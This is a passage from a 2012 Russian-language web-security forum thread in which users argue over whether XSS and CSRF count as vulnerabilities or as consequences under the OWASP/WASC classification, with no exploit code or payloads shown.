Injection[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]15[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]XQuery Injection[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]16[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]XPath Injection[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]17[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]Mail Command Injection[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]18[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]Null Injection[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]19[/COLOR][COLOR="#007700"]] and[/COLOR][COLOR="#0000BB"]SQL Injection[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]].[/COLOR][/COLOR

В любом случае, мы возможно, излишне углубились в терминологию. А это явно попахивает дисциплиной специальной Олимпиады. Об этом вопросе можно долго спорить и перебрасываться ссылками на разные источники. Но, повторюсь, в моей картине мира, а также по классификация OWASP/WASC-коммьюнити, XSS - это следствие, а не причина, равно как и атака является следствием уязвимости, которая выступает причиной.

Если же вас задел излишне резкий тон вчерашнего моего поста - то, признаю, я не несколько перегнул палку, ведь у вас может быть свое видение терминов и классификации в данном вопросе. В конце концов, вы черпаете информацию из одних источников, я из других.

Каждый из нас, думается, в итоге останется при своем мнении, а значит дальнейший спор бессмысленен.

Что касается сабжа: прочитал. Спасибо за труды.

Rebz 21.09.2012 18:35

Га-Ноцри, неформально XSS/CSRF называют уязвимостями все эксперты.

Цитата:

Сообщение от None
http://projects.webappsec.org/w/page/13246934/Improper%20Output%20Handling

кстати, там же в конце указаны "Null Injection [19] and SQL Injection". Их теперь тоже не считать уязвимостями?

Представляю себе новость на секлабе: на таком-то сайт найдена уязвимость типа Improper Input/Output Handling. Скомпрометирована база пользователей.

Жесть).

Может стоит самому вначале разобраться что написано в источниках?

и да, M_script не грин-мембер. Классификация закрытых групп тоже хромает

peektoseen 27.09.2012 13:26

Цитата:

Сообщение от None
Копипаст одноименной темы из РОА от 11.10.2011.

А что такое РОА?


Время: 16:36